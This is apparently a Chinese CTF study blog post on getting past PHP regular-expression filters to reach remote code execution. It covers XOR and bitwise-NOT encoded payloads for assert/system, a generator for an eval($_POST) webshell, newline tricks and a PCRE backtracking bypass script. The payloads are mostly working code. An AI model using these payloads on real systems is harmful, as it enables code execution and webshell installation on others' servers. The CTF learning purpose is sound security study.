正则匹配绕过总计之[极客大挑战 2019]RCE ME

知识点:

参考以及总结大全:浅谈PHP代码执行中出现过滤限制的绕过执行方法_末 初的博客-CSDN博客_php代码执行绕过

正则匹配绕过:

分为无参数(把字母和数字都禁了)

有参数(只禁用某些函数例如system)

绕过:

异或绕过:

脚本:(如果ban了数字和字母就可以用这个脚本生成,但是长度会很长,对长度没有要求就可以用这个)

payload = "assert"
strlist = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 35, 36, 37, 38, 40, 41, 42, 43, 44, 45, 46, 47, 58, 59, 60, 61, 62, 63, 64, 91, 93, 94, 95, 96, 123, 124, 125, 126, 127]
#strlist是ascii表中所有非字母数字的字符十进制
str1,str2 = '',''

for char in payload:
    for i in strlist:
        for j in strlist:
            if(i ^ j == ord(char)):
                i = '%{:0>2}'.format(hex(i)[2:])
                j = '%{:0>2}'.format(hex(j)[2:])
                print("('{0}'^'{1}')".format(i,j),end=".")
                break
        else:
            continue
        break

比如assert   

('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c')

 没有ban数字和字母:脚本:

import string

char = string.printable
cmd = 'assert'
tmp1,tmp2 = '',''
for res in cmd:
    for i in char:
        for j in char:
            if(ord(i)^ord(j) == ord(res)):
                tmp1 += i
                tmp2 += j
                print(tmp1)
                print(tmp2)
                break
        else:
            continue
        break
print("('{}'^'{}')".format(tmp1,tmp2))

结果:

('000000'^'CICDU]')

 另外还有一个,_GET 的异或获取为:${_GET}[_] -->  ${%fe%fe%fe%fe^%a1%b9%bb%aa}[_]

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

//${_GET}{%ff}();&%ff=phpinfo

 如果要其他rce就可以根据这个来构造,比如:

${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

//${_GET}[_](${_GET}[__]);&_=assert&__=eval($_POST[%27a%27])

 取反编码绕过

php上传木马脚本:

<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[mochu7]))';
$d=urlencode(~$c);
echo $d;
 ?>

生成后使用:

(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);

有参数时,可以直接url编码取反 system 

var_dump(urlencode(~'system'));
var_dump(urlencode(~'whoami'));

(~%8C%86%8C%8B%9A%92)(~%88%97%90%9E%92%96);
#system('whoami');
 

当匹配为含有^ $时可以采用换行绕过:
^test表示匹配的字符以 test开头

test$表示匹配的字符以test结尾

^test$ 理论表示匹配的字符只能是test

但是正则匹配不匹配换行符号:可以用%0a (表示换行符号)来绕过:test%0a

.不会匹配换行符,如

if (preg_match('/^.*(flag).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
}

只需要 $json="\nflag"

而在非多行模式下,$似乎会忽略在句尾的%0a

if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
echo $flag;
}

只需要传入?a=flag%0a

回溯绕过

参考:

PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌

 简单来说就是正则表达式匹配的时候某个.*将后面的字符全部匹配到了,导致表达式后面的式子没有地方匹配,因此一个一个字符吐出来,直到后面的式子全部匹配完毕或者回溯次数过多导致正则直接返回false

例如[FBCTF2019]RCEService

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

注意正则匹配中的 ^.*    .*$       .*就可以使用回溯,怎么回溯呢,脚本:

import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://ad66432f-4628-41f6-8190-d9b9c247904c.node3.buuoj.cn/", data={"cmd":payload})
#print(payload)
print(res.text)

由于这里传递的rce是以json 格式的,所以是{"cmd":"ls"}格式;

这里还有^ $ 可以用%0a绕过;

{%0a"cmd":"ls /home/rceservice/"%0a}  发现flag

{%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}   打开flag 为什么cat还要加/bin  是因为

系统命令需要有特定的环境变量的也就是路径,系统找不到该路径下的exe文件怎么执行系统命令

因此这个地方查阅资料后发现只能调用绝对路径下的命令,cat命令就在/bin/目录下面

例题参考:[极客大挑战 2019]RCE ME(取反、异或绕过正则表达式、bypass disable_function)_WHOAMIAnony的博客-CSDN博客_取反绕过 

  • 2
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值